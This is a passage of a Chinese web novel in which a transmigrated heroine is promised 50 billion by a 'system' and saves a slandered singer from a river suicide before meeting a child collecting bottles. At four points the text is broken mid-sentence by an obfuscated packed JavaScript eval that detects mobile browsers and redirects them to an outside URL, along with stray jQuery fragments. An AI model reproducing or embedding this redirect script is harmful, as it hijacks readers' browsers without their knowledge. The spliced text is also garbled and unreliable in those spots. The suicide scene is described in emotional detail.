“那你能把我在末世的异能还给我吗?” 施浓在末世是风系异能,可以掌控风的速度、方向和强弱,顷刻间便能制造风暴。 说真的,她的这个异能还是很强的,她用得也很顺手。 可自从来到这个世界以后,她的异能就消失了,说起来还有点可惜。 如果真像这个系统所说,她要是回不去末世,在这个世界能有个异能傍身也是好事。 系统惭愧道:【对不起,我做不到。】 “这也不行那也不行……”施浓颇为嫌弃道:“那我们还谈什么交易?你倒是说说我要你有啥用啊?” 【当然还是有用的。】 系统兴致勃勃介绍道:【我的全名是钱来钱来钱从四面八方来系统,你也可以喊我百亿补贴系统。如果你不嫌弃的话,我可以给你五百亿。】 6. 启动资金 “……夺少?!” “你说夺少?!” 施浓瞳孔地震,难以置信地瞪大眼。 系统耐心地复述了遍:【五百亿。】 “……” “!!!” 施浓的嘴巴再次张成了O型,生平第一次对自己的听力产生了怀疑。 ……尊嘟假嘟? 它们系统的计量单位和现实世界的是一样的吗? 施浓又问了遍,“你说得都是真的,真给我五百亿?” 系统坚定道:【包真的!童叟无欺!】 话音刚落,系统大手一挥,施浓的眼前突然浮现了一长串的数字。 最前面是一个五,后面跟着一堆零。 那零看起来比她的身份证号还要长。 系统指了值这一长串的数字,【宿主,只要你答应我的交易,这五百亿,就是你的。】 “……” “!!!” 它真有五百亿啊! 生平第一次见到这么多钱,施浓根本压抑不住内心的激动。 在这个世界,相较于异能来说,当然是钱更有用。 凌云灏为什么能那么嚣张,不就是因为他有钱嘛。 如果她也有钱的话,而且还有五百亿,就算回不去末世,她也可以在这个世界称王称霸,把傻逼凌云灏踩在脚底下! 哇,光是想想就觉得生活可期,未来可望,人生没有什么烦恼呢。 有的只是无穷无尽的幸福、快乐和自由。 施浓脸上的笑止都止不住,她迫不及待道:“啥都别说了,我同意,什么都同意!” 有钱不要是傻子。 更何况还是这么多钱! 【……】 系统本来准备了一肚子的话,就这么硬生生卡在了喉咙里。 啊,它没听错吧,这宿主这么快就答应了? 何止呢。 施浓不仅答应得快,变脸迅速,就连身份适应得也很快。 在亲眼见到钱之后,她对系统的态度骤变,谄媚得令系统都有些无所适从。 “亿哥,我可以这么称呼你吧?” 施浓的眼神无比真诚,“以后你就是我亲哥,小妹我为你上刀山下火海,赴汤蹈火在所不辞。你有什么事,尽管吩咐。” 【……】 沉默片刻,系统道:【咳,这倒不必,不过我确实需要你帮我做些事儿。】 一说起这个,它的语气便多了几分认真。 【宿主,你来到这个世界后,在男主控系统的威逼利诱下,你替它做了很多事,这是因。这些事或间接或直接魔改了原书的不少剧情,崩坏了不少书中角色的人生,这是果,还是苦果。】 【凡事都讲究因果,由因生果,因果历然。主神大人的意思是由你造成的因果还是由你来解。当然,念在你也是无辜的受害人,这些事情不会让你白做,你眼前的五百亿就是你的报酬……】 再一次看到五百亿这么小众的金额,施浓还是有点难以置信。 她强压住内心的嗨皮,忍不住又问了遍,“亿哥,这五百亿,你确定……全给我?” 【确定。】 听到这个肯定的回答,施浓幸福得都快晕了过去。 她咽了咽口水,一个没控制住,又问了很多问题。 “这钱要怎么给我呢?给了钱还会要回去吗?这钱我可以随便花吗?你不是骗我的吧……” 她的小嘴一张一合,像是飞驰的列车,又像是放不完的烟花,一发而不可收拾,没完没了。 【停!】 听了半响,百亿补贴系统忍了又忍,最后还是忍不住打断了施浓滔滔不绝的问话:【你先歇歇,听我说。】 有钱的都是大爷。 施浓立马闭上嘴,乖巧地点点头,洗耳恭听。 系统:【首先,再次声明,五百亿是真的,我不骗人;其次,我既然敢给,就说明我给得起,给出去的钱就像泼出去的水,是绝对不会要回来的;最后,五百亿不是一次性给清……】 听到这里,施浓忍不住打断道:“不是一次性给清……什么意思?” 系统没有直接回答施浓的问题。 【宿主,如果我记得没错的话,除了一辆在还贷款的车还有个按揭的一居室,你的全部存款加起来也就四块五?】 “……” 一贫如洗的家底骤然被摊开在青天白日之下,施浓不尴也不尬,淡定地挑下眉。 “所以呢?” 系统不紧不慢道:【宿主,你全身上下也就四块五,一下子给你五百亿实在是太不合理了,极易造成BUG从而崩坏这个世界,所以——】 【为了使你的钱来的更加合理,五百亿不会一下子全部给你,而是会分批以不同方式不同渠道到达你的账户。】 【当然,分批给钱也是有前提的。前提就是每当你成功解救原书里的一个角色,帮助他/她摆脱被魔改的人生,拨乱反正,回归正途,你就能获得一笔钱。】 施浓听明白了。 简单来说,就是她需要先干活,干完活之后才有钱拿。 系统就相当于发钱的老板,而她是员工,五百亿就是她的工资。 想明白之后,施浓接受得也很快,她的回答就一个字—— “干!” 如果她回不去末世,想要在这个世界好好活下去,就得赚钱。 既然要赚钱,与其在外面累死累活当牛做马赚那三瓜两枣的,不如在这里给系统干活。 目前这个系统看上去可比男主控系统强多了。 傻逼男主控系统只会威胁她、抹杀她,别的一点也不给,而这个系统人家是真给啊。 还给得那么多! 孰好孰坏,她不傻,还是分得清的。 所以干呗,没什么好纠结的。 【好,既然你同意,我也不废话。】 系统痛快道:【宿主,你先靠边停车,接下来我会给你第一笔钱。】 “第一笔钱?”施浓愣了下,“什么意思,提前发工资?” 【是这样的,宿主。】 系统解释道:【第一笔钱你可以理解成启动资金。毕竟有钱好办事,这些钱可以让你如虎添翼,这样你拯救书里被魔改人生角色的时候也事半功倍。】 “好的呢。” 施浓接受得很快。 白给的钱不要白不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487086|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就算是屎她也得尝尝咸淡。 按照系统的指令,施浓老老实实把车靠马路边停好,而后下了车。 她眼前的地方是天险山脚下的一片荒地,杂草丛生。荒地的前面是一条宽大河床,河水潺潺流动。在河边有棵不高不低的枯树,枯树下有块巨石。 施浓环视一圈,没发现这里有什么特别的,更没想明白系统让她在这里停车的意图,她干脆直接问了出来:“然后呢,亿哥,我要干嘛?” 系统:【看到枯树下那块巨石了吗?】 施浓点点头。 系统继续道:【在巨石的后面你会得到你的第一笔钱。】 “……啊?” 施浓反应迟缓地眨了眨眼,然后又眨了眨,再次对自己的听力产生了怀疑。 沉默三秒,她清清嗓子,又确认了遍。 “亿哥,钱就搁在石头后吗?” 这么草率的吗??? 系统没有吭声,只是高深莫测地示意施浓自己去看。 施浓一脸懵逼,一步三回头地朝系统所说的巨石后面走去。 等她走到地方,低头那么一看—— 石头后面别说钱了,连根草都没有! 施浓皮笑肉不笑道:“亿哥,我的钱呢?你不会在耍我吧?” 系统不慌不忙道:【宿主,你再好好看看,钱不就在你的脚下嘛!】 闻言,施浓愣愣地抬脚,然后成功在她略微潮湿的鞋底上拽下来两张纸币。 一边一张,正好二十。 “……” “???” 啊,这什么啊? 施浓举起两张脏兮兮的纸币,整个人凌乱在风中。 就二十? 合着这是她把系统当财神爷,系统把她当乞丐了??? 羞辱谁呢! 施浓无语凝噎,但凭着良好的职业操守,她还是压着脾气,硬生生挤出一个微笑。 她举起两张纸币,和颜悦色道:“我、亲、爱、的、亿、哥、啊,什么意思呢?第一笔钱只有二、十、吗?” 【不要心急嘛,宿主。】 系统激情道:【俗话说得好,积少成多,财富都是一点一点积攒出来的。你看上去这只是二十,但未来这就可能是二百,二百万,甚至是二百亿。】 你看这饼,画得又大又圆…… 施浓无语,“说人话。” 系统:【我说过,为了让你的财富来得更加合理,是不可能一蹴而就的。这二十,就是你的启动资金,你将由此开启你的百亿富翁之路。】 “大哥,二十块钱能启动什么啊?我稍微吃顿好的都不止二十了吧?除非……” 施浓灵光一闪道:“买彩票!” 按照一贯的套路,暴富和彩票之间总是沾点亲带点故。 施浓开心道:“我悟了,亿哥。” “所以我们是要拿这钱去买彩票,然后合理地一夜暴富吗?” 【厉害啊,宿主,你都能预知未来了!】 系统惊喜道:【没错,我们确实要买彩票。距离这里五公里,有一个彩票店,一小时内赶到那里,你就能中大奖。不过在这之前……你需要救一个人。】 7. 郁森屿 什么人? 这个问题施浓还没来得及问出口,就听见身后的河扑通一声巨响,水花四溅,冰冷的河水泼在了她的侧脸以及后背上,而后顺着她的脸颊缓缓滑落。 她猛地回头,在层层水花里,她看不太清,只恍惚看到了一片黑色的衣角,随之很快便消失在了河水之中。 好像……有人跳河了? 施浓正茫茫然,脑海里突然多了段剧情。 郁森屿,天才创作型歌手,从小便展现出极强的创作天赋。 他五岁接触音乐,十三岁开始作词作曲,十八岁以自弹自唱的一首原创英文歌曲《River》爆红网络,并被知名经纪人Wu挖掘,签约成为艺人。 凭着清冷破碎感的气质长相以及极强的创作天赋,郁森屿短时间内便吸粉无数,犹如一颗冉冉升起的新星,在娱乐圈熠熠生辉、发光发热。 可没有谁的人生是一帆风顺的,郁森屿也不例外,他顺风顺水的人生会在二十岁这年迎来第一次坎坷。 二十岁这年,郁森屿发布了专辑《Gift》,成绩很不错,然而没过多久便陷入了版权争议、歌词争议以及抄袭争议之中,网络上一片骂声,曾经站在他身后使劲夸他说他好的网友们纷纷倒戈,一个个不留余力地指责他、谩骂他,言辞激烈地说他恶心,让他滚出娱乐圈。 按照《穹顶星河》的原剧情,这次的事情不过是郁森屿人生中的一次小危机,或者说是对他的一次小历练。 原书里,郁森屿沉寂一年,一年后华丽回归,不仅甩出有力证据强势回应了当初的种种争议,同时带着新专辑《涅槃》在歌坛大放异彩,一举夺得年度最佳专辑,狠狠打了当初那些嘲讽、谩骂他的人的脸。 可在男主控系统的魔改剧情下,郁森屿的高光被夺走,好好的主角变成了炮灰,危机也成了死机。 只因为他是姜至的白月光。 如果他还活着,姜至就不会喜欢凌云灏,所以他不能活,必须死。 在男主控系统的精心安排下,郁森屿还没等到一年后的涅槃重生,倒是率先等来了后辈、经纪人、公司的联合背叛。 后辈面对镜头哭得梨花带雨,说郁森屿恃强凌弱,将他辛辛苦苦创作出来的劳动成果据为己有…… 经纪人在媒体面前替他道歉,没有给他任何解释的机会,直接坐实了他的种种罪名…… 公司发出解约声明,说他损害公司形象,让他赔付天价违约金…… 品牌方也纷纷解约,索要赔偿…… 一夕之间,天翻地覆,众叛亲离。 在黑暗的世界里,邪恶者掌权,不需要任何证据,他们轻飘飘的几句话、精心设计的几场戏便足以颠倒黑白,轻而易举便可以给一个无辜的人安上莫须有的罪名,弹指间便能毁掉他人的人生。 而无知的观众只会人云亦云,不分青红皂白,只相信邪恶者想要他们看见的,义正言辞地站在道德的制高点,自以为做了正义的使者,殊不知却变成了帮凶,沦为了侩子手。 何其荒谬,何其讽刺,何其可笑! 可这却是血淋淋的现实。 现实不是童话,没有那么多理所应当、顺其自然还有人间美好。 曾经的天之骄子背上了天价债务,从云端狠狠坠落,如同过街老鼠般人人喊打,一落千丈。 事后,郁森屿消失了很长时间,他再次出现在公众的视线里,是在他母亲的葬礼上。 无良狗仔拍了一张他在母亲葬礼上的照片,并将其放在了网上。 照片上他穿着一身黑色的衣服,一张脸苍白到有些病态,他目光涣散地注视着他母亲的照片,眼睛里是一片死寂,整个人看起来快要碎了。 看到这张照片,没有同情,没有安慰,哪怕只是简单的‘不知真相,不予置评’都做不到,网友们笔诛口伐,仿佛郁森屿做了天大的错事,恨不得将他赶尽杀绝,食肉寝皮。 【利用自己的母亲来装可怜,来洗白,郁森屿你还要不要脸了?】 【郁森屿你妈都死了,你怎么不去死?其实最该死的人是你啊。】 郁森屿明明什么都没有做,但却有无穷无尽的恶意朝他袭来,所有人都站在他的对立面,而他站在恶意的包围圈里,孤军奋战。 他茫然四顾,试图找出一个,哪怕只是一个,在这个时候愿意拉他一把、好心站出来帮帮他的人,可是没有,一个也没有。 曾经唯一一个愿意相信他、站在他身边的人也死在了他面前…… 于是,他实在是撑不住了,他也就真的碎了。 郁森屿母亲葬礼的第二天,他抱着母亲的骨灰盒从高处一跃而下,而后母子俩一起长眠于冰冷的河底。 世界彻底安静了。 …… 【宿主,我想你已经猜到了,郁森屿就是第一个你需要解救的人,希望你可以拉他一把,帮他的人生回到正轨,他的人生不该就这样潦草地结束了。】 施浓没有多说什么,她只是快速地卸掉了身上多余的累赘,而后毫不犹豫便纵身跳入了河水里。 …… 十月份的天气,说冷不冷,说热不热,可河水是真的凉,再加上强烈的窒息感,不能呼吸,不能思考,犹如被千刀万剐,痛感溢满身体的每个毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487087|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔。 郁森屿很清楚地知道死亡前的这几分钟会很痛苦,从落水的那刻起,无数水流便从四面八方涌来,灌进他的嘴里,鼻子里,耳朵里。 他能听见气泡上升的声音,能感觉到鼻子进水而产生的酸楚,会有痛苦的窒息感,他喘不过来气,体力逐渐消耗,肺部有一种剧烈的撕裂感以及灼烧感,头也痛得炸裂…… 说实话,这样的场景在他脑海里预演过无数遍,在真正行动之前,他其实也怕,怕疼,怕苦,怕他没有勇气去死,怕他中途放弃…… 可当他的手摸上母亲冰冷的骨灰盒的时候,害怕这种糟糕的情绪突然间远离了他,他脑海里只有一个念头—— 从落水到死亡一般是三到五分钟,他再痛也不过是三、五分钟的事情,这几分钟过去之后,很快一切都会没事。 他身体不会再疼,心也不会疼,没有那些可怕的回忆扰得他整夜整夜不能入睡,没有一声声的咒骂整天整天环绕在他耳边。 没有背叛,没有指责,而且最重要的是—— 他能再见到他妈妈。 抱着这种念头,站在高处的那刻,郁森屿几乎没有一秒的犹豫,他一跃而下。 那一刻的感觉怎么说呢? 他感觉自己像一只鸟,不小心跌落在了河里,羽毛被河水打湿,飞不起来,一开始确实很难受很痛苦,痛得他抱紧了骨灰盒,神志不清地企图从母亲那里寻找一丝安慰,可后来就是解脱。 在生命的最后几十秒,他张着口鼻,目光涣散地望着河面。 阳光打在河面上,照出一片绿莹莹的光,就像是荧火虫在黑夜里散发的那种光,美得像是梦境。 他突然想起来十五岁那年他第一次站在舞台上,抱着吉他唱他自己写的歌。 前奏开始后,舞台上所有的灯全关了,只留下一束淡淡的光打在他的身上,那束光好像就是这种颜色,很美很美,美得不像话。 郁森屿眼睛眨也不眨地看着这束光,仿佛回到了最初的幸福与快乐。 看着看着,恍惚间,他好像看到了一个人沿着光坚定地朝他而来。 他以为是错觉,又或者是幻想,可直到那人游到他的身边,手握住他的胳膊,试图拉起他的时候,他才惊觉这不是假的,而是真的。 意识到这个事实以后,郁森屿的鼻头一阵阵发酸,眼眶也一下子就湿润了。 一种无法言说的难过与委屈突然间涌上了他的心头。 霎时间他泪流满面。 原来,这个世界对他还是有善意的啊。 有光照在他身上。 好温暖啊。 8. 救赎之翼 捞人可真不是一件容易的事情。 尤其是从水里捞人。 捞的还是个身高一米八的大男人。 冰冷的河水像是藤蔓,缠绕着郁森屿的身体,同时也拖拽着施浓每一次用力的动作。 好在郁森屿还有意识,也挺配合。 他涣散的目光似乎捕捉到了施浓的存在。 当施浓用力把他往岸上拽的时候,他能感受到那股拉力,残存的求生本能让他竭力配合着。 尽管他的努力微乎其微,但对于施浓来说,只要他不胡乱挣扎,不拖后腿,就是好的。 费了九牛二虎之力,施浓好不容易把郁森屿捞上岸,累得够呛,差点一口气没缓过来,当场交代在这里。 不过一想到她还有五百亿没有花,她就坚强地挺了过来。 她脱力地跪在地上,大口大口地喘息,心脏在胸腔里狂跳。 施浓缓了口气,而后扭头看向了她旁边的男人。 郁森屿躺在那里,双眼半睁半闭,眼神涣散,发丝凌乱,面容苍白,身体还在不受控制地颤抖着,看上去快要死了。 但还没死。 至少他的胸腔还在起伏,还在呼吸,意识应该也在。 施浓松了一口气,但还没轻松太久,只听见郁森屿又是一阵剧烈的咳嗽。 “咳……咳咳……呕……” 他的身体蜷缩起来,更多的水被呕出,然后……他差点被自己呕出来的水呛死。 这可不行。 好不容易把他救上来,可不能砸在这里,要不白费力气了。 施浓连忙起身,也顾不上自己的狼狈。 她迅速挪到郁森屿身边,用力地扳动他的肩膀和腰部,让他由仰躺变成侧躺。 郁森屿无力反抗,任由她摆布,侧过身后他又是一阵撕心裂肺的咳嗽。 施浓跪在他身后,手下毫不留情,一下一下用力地拍在他的后背心窝处。 郁森屿还没说什么,系统看不过去了,忍不住开口道:【宿主,你能轻点吗?我害怕他没被淹死,倒被你拍死。】 施浓:“……” 有那么夸张吗? 话虽如此,她还是放轻了手上的力道。 持续拍了十几下,直到郁森屿从剧烈的咳嗽变成虚弱的呛咳之后,她才停止了动作。 “行了,缓口气……” 趁着这个间隙,施浓拨了急救电话。 清晨的温度还是很低的,尤其是在河边,再加上施浓他们刚从水里爬出来,整个人都在往下淌水,那就更冷了。 施浓在打电话的时候,一阵冷风吹过来,她一连打了好几个喷嚏,停都停不下来。 这怎么能行? 没被淹死,倒是先被冻死了。 打完电话后,施浓低头看向虚弱的郁森屿,开口道:“我们得离开水边,这里太冷了。我扶你,我们到车上等着,救护车很快就来了。” 郁森屿沉重的眼皮颤动了下,似乎想说话,但只从喉咙里发出一声极其微弱又含糊不清的回应。 施浓没听懂他在说什么,也不管他到底是同意还是没同意。 她直接架起他就走。 反正他现在动弹不了,没有反对的能力,她说什么就是什么。 等把人转移到车里,施浓这才长长舒了口气。 累死她了。 这几分钟她又是从水里捞人,又是架人,过得竟然比她以前打几天丧尸都累。 来到这个世界后,她的体力可是大不如从前了。 施浓瘫坐在座位上,表情颇为感慨。 这样可不行,以后还得加强训练。 …… 就在施浓感慨的时候,郁森屿蜷缩在后座,身上盖着厚实的毛毯。 他冰冷的四肢在毛毯的包裹下,汲取到了更多的暖意,原本苍白如纸的脸也有了几分血色。 意识一点点拼凑,胸腔里火急火燎的疼痛感也减轻了不少。 郁森屿微微掀开沉重的眼皮,艰难地转动眼珠,视线渐渐聚焦。 映入眼帘的,是驾驶座上那个女生的侧影。 似乎是感受到了他的注视,女生转过身来。 四目相对。 郁森屿的瞳孔清晰地映出了施浓的脸。 那是一张看起来就很面善的脸,五官精致,皮肤白皙,尤其是她的眼睛,干净清澈到不像话,就好像没见过,也不该看见这世上任何的污秽与肮脏,比如—— 他。 这样的目光落在他身上,郁森屿像是被烫到了一样,猛地垂下眼皮,不敢再看。 他的喉咙发紧,嘴张了张,似乎想说点什么,但又不知道该说些什么。 还是施浓率先打破了沉默。 “你现在感觉怎么样?” 郁森屿没有回答施浓的问题,他只是低着头,手指无意识绞紧了毛毯的边缘,然后不停道歉。 “对不起……给你添麻烦了……还弄湿你的车……对不起……” 他的声音破碎沙哑,微弱得几乎听不见,可道歉的话却像不受控制的水流,本能地外涌,一声又一声。 在过去的几个月,在铺天盖地的谩骂、指控和背叛中,‘对不起’这三个字就好像刻在了郁森屿的骨髓里,他早已说得麻木。 不论过错是谁,不论真相如何,最后承受指责、鞠躬道歉的,只有他。 道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487088|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成了他唯一可以发出的声音,也是唯一可以表达情绪的方式。 一开始他不知道自己到底错在哪,为什么要道歉,可所有人都说是他的错,都要他道歉,他只能一遍遍苍白又无力地说着对不起—— “对不起,我让大家失望了……” “对不起,我是所有人的麻烦,是这个世界的污点……” “对不起,对不起……” 对不起说多了,就好像真的一切都是他的错,甚至连他自己都产生了这样的错觉。 他陷入了深深的自厌情绪中。 他不想给别人添麻烦,哪怕是自杀。 所以他才会选择在这个时间,在这个足够偏僻的地方去死。 他以为不会有人发现他,他可以安静地消失,不给任何人增添麻烦,但他万万没想到,还是有人发现了他,并舍命救下了他。 此时此刻,郁森屿的心情无比复杂,活着的压力让他渴望死亡,但陌生人的善意又让他感受到了久违的温暖,随之而来的还有无穷无尽的愧疚。 在种种情绪的强烈冲击下,他甚至不敢抬头看这个救下他的好心人,并郑重和她道谢。 因为他害怕。 他怕这个好心人认出他,害怕她异样的目光,更怕从她那里感受到一丝一毫的不耐烦以及后悔—— 那将毁掉他最后感受到的这点暖意,彻底将他击垮。 他真的受不住了。 …… 郁森屿诚恳地向上天祈祷,就帮他这一回。 就一回。 可事实证明,上天真的特别不喜欢他,只喜欢作弄他。 明明他的头已经低到尘埃里了,明明他已经努力遮掩了,可他最害怕的事情还是发生了—— 好心人还是认出他了。 “郁森屿。” 她声音不大,却异常清晰,一字一顿地念出了他的名字。 就像是判官给跪伏在地的囚徒宣读最终的死刑判决。 在这一刻,郁森屿猛地攥紧手里的毛毯,心脏剧烈跳动,又骤然收紧,仿佛被一只冰冷的手死死扼住,几乎停止呼吸。 他面色灰白,身体僵硬,静静地等待悬在头顶的剑轰然落下,给他致命一击。 然而,预想中的风暴并未降临。 短暂又令人窒息的死寂之后,他等到的是好心人近乎粗鲁的理直气壮—— “是这个傻逼世界错了,又不是你的错,你为什么要道歉,又道哪门子歉?” “……” 轰—— 就好像有什么东西在他的精神世界轰然倒塌。 郁森屿猛地抬头。 世界在这一刻仿佛彻底失声。 9. 小孩哥 施浓说的都是大实话。 郁森屿没错。 一丁点错都没有。 错的是这个傻逼世界。 更准确来说,是这个被男主控系统魔改后的傻逼世界! 在这个操蛋的世界里,没有规则,没有逻辑,只有设定,好好的人被迫缩在一个个由男主控系统提前编织好的设定之下,沦为它的提线木偶。 只有男主控系统的宝贝疙瘩凌云灏才是天之骄子,是世界中心。 只有凌云灏,才能时时刻刻被主角光环笼罩,享尽万千宠爱于一身。 至于其他人…… 像她,又像是郁森屿,他们算什么? 不过是男主控系统剧本早已写好的,被男主控系统玩弄于股掌之间,只配给男主当垫脚石肆意践踏、任意玩弄的苦逼受害人! 他们有什么错? 他们为什么要道歉? 他们凭什么要道歉?! 受尽系统迫害,承受着滔天的恶意与羞辱,他们没有当场黑化,没有反社会反人类,没有拉着这个世界同归于尽,都是他们心地善良、心慈手软! …… “呜……” 也不知道她的哪句话触动了郁森屿的心弦,一声压抑到极致的呜咽突然响起。 郁森屿一直死死压抑着的情绪在此刻彻底决堤。 原来,这个世界上除了他妈妈以外,还是有人站在他这一边,愿意相信他的啊。 一个人。 哪怕只有这一个人。 也够了! 郁森屿捂着脸,蜷缩在后座,肩膀无法抑制地剧烈颤抖,滚烫的泪水夺眶而出,从他的指缝间滑落。 那是一种积压了太久太久的委屈、绝望,仿佛被全世界抛弃的痛苦,如今却在这一刻的理解与温暖中得以救赎,得以释放。 他越哭声音越大,哭得撕心裂肺,哭得浑身脱力,仿佛下一秒就能背过气去。 施浓被这突如其来的哭声吓了一跳。 本来满腔的愤慨也被这哭声给哭退了。 她扭头看了眼郁森屿。 男人的眼泪还在拼命往外涌,像是要把这辈子的眼泪都流干。 施浓见过哭的男人,但没见过哭得这么惨的男人。 她本不想管,就任他哭去,但那压抑又崩溃的呜咽声,就像是密密麻麻的针,扎得人坐立难安。 “别哭了。” 施浓无奈地叹了口气。 她抽出了几张纸巾,塞进郁森屿捂着脸的手指缝隙里。 而后她也不知道从哪摸出来了一大堆的小零食,全都放到郁森屿的怀里。 “吃吧,吃完这些,心情就好了。” “……” 听到这话,郁森屿也不哭了。 他捂着脸的动作一顿,而后缓缓放下手,低头看向怀里的零食。 见状,施浓脸上一喜,还以为这办法有效。 谁知道下一秒—— 他哭得更凶了! 施浓:“……” …… 眼瞅着郁森屿哭得眼睛都肿了,长睫毛湿漉漉地粘在一起,眼泪鼻涕糊成一团,看上去无比狼狈。 施浓简直一个头两个大。 她是真不会安慰人。 而且这男的也太能哭了吧。 他这会儿流的眼泪比她这辈子流的眼泪都多。 好在救护车及时赶到。 施浓反手扔给郁森屿一个口罩,示意他带上,而后连忙打开车门,挥手示意。 医护人员训练有素地将郁森屿安置上车,又跟她了解了大致的情况。 在这个过程中,郁森屿总算是止住了哭声。 他安静地带着口罩,只露出一双眼睛,目不转睛地盯着施浓。 他的嘴张了张,似乎有话想说。 他想说谢谢她的奋不顾身,谢谢她的毫不犹豫,谢谢她……把他从冰冷的绝望中拉出来,给了他生的希望。 不止是身,还有心。 有太多感谢的话想说,千言万语梗在心头,一时之间竟说不出口。 最后,在救护车的后门即将被拉上的前一秒,郁森屿隔着口罩,终于说出了那两个字—— “谢谢……” 他的声音不大,但感情真挚,异常清晰地传到了施浓的耳朵里。 施浓闻声,抬头看向他,云淡风轻地摆了摆手。 “没事,你好好活着就是对我最大的感谢。” “……” 施浓发誓,她说的都是大实话。 只有郁森屿活着,她才能完成解救他的任务,才能赚到系统的钱。 可这句话落在郁森屿的耳朵里就不是这么回事了。 他的眼眶一下子又红了,眼看着就要再次哭出来。 好家伙,这可把施浓吓得够呛。 她连忙伸手—— “砰——” 施浓毫不犹豫就帮医护人员拉上了车门,彻底阻断了郁森屿哭唧唧的视线。 郁森屿:“……” …… 救护车尖锐的鸣笛声响起,车身启动。 这一通折腾,总算把人送走了。 目送救护车渐行渐远,施浓松了口气。 然而她的气还没松太久,系统的声音响起。 【恭喜宿主,解救郁森屿第一阶段任务:阻止人物自杀——已完成,你的奖金将与第一笔钱一起以中彩票的形式发放。】 系统好心提醒道:【宿主,距离买彩票的限定时间还有二十五分钟,你得抓紧时间,否则你的奖金就要被别人买走了!】 啊,什么? 她辛辛苦苦冒着生命危险赚的钱还可能会被别人拿走? 这不行,绝对不行! 施浓立马精神了起来。 她连忙上车,一脚油门就想发动车子—— 好巧不巧,她的车关键时候不给力,正好没油了,根本开不起来! 施浓抬头,飞快地环视了一眼四周的环境。 天险山脚下,也就是她所在的这一块地方还是比较荒凉的。 这里距市区有一段路,地方偏僻,杂草丛生,人烟罕至,就算走到了大马路上,也没有一辆汽车的影子。 好在二十五分钟还算充裕,五公里也不算远,就算她一路跑着也能到。 施浓当机立断,立刻选择弃车跑步前进。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487089|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>清晨的风带着丝丝缕缕的凉意刮在施浓身上的时候,她打了个寒颤。 当然,寒冷无法阻拦她的脚步。 施浓目光坚毅地看着前方的路,继续撒丫子狂奔。 她一边跑一边密切关注四周的情况,随时做好截停过路车的准备。 虽然她能跑,但跑步还是累啊,更别提她刚还救了人,从水里死里逃生已经耗费了她大半的精力。 施浓跑啊跑,看啊看,心跳越来越快,速度越来越慢。 可惜的是,她跑了两三公里,别说车了,她是连一根鸟毛都没看见。 就在她以为她真要这么倒霉全程跑着去的时候,一个转弯,一辆破破烂烂的自行车突然闯入了她的视线之中。 这辆自行车明显已经用了很久,饱经风霜,链条都已经生锈泛黄。 在自行车的后座还绑着很多纸箱,旁边还放着一个巨大的黄绿色编织袋。 袋口敞开着,里面隐隐约约能看见各种各样的饮料瓶。 一辆用来运废品的自行车。 虽说这个交通工具与施浓幻想中的交通工具差了十万八千里,但好赖也比她跑着轻松,而且说实话,她确实也跑不动了。 施浓左左右右仔仔细细环视了一圈,试图寻找自行车主人。 她想要跟车主暂时借用一下小车车,等她拿到钱后,定会十倍百倍报答车主。 可人呢?没瞅见人啊。 车主好像不在。 施浓认认真真看了好几圈,得出了这个结论。 就在她犹豫要不要直接骑着车子走的时候,在马路前方右侧的沟渠里突然出现了一个疑似是背的东西。 那背弯得很低,几乎与沟渠平行,且和沟渠融为一体。 不仔细看,还真看不出来。 就在这时,那背突然挺直了。 背的主人背对着施浓。 一眼望去,看见的就是他小小的、单薄的、瘦骨嶙峋的背影。 一个小孩的背。 小孩半转过身,把捡来的几个沾满泥垢与污水的塑料瓶轻轻放在马路上。 两手一撑,小小的身体就从沟渠里爬了出来。 他抱着塑料瓶朝这边走来,小脸脏兮兮的,身上也只穿了一件单衣,袖口短了一大截。 他的两手被冻得通红,还有几道裂口。 在他的身后,是一串湿乎乎的、沾着淤泥的、小小的脏脚印。 小孩把从沟里捡来的几个脏塑料瓶放进黄绿色编织袋里,抬头看了眼施浓,又看了眼她手里拿着的两张纸币,目光带着防备。 施浓对着他友善地笑了笑,还没来得及说话,就听着小孩警惕的声音。 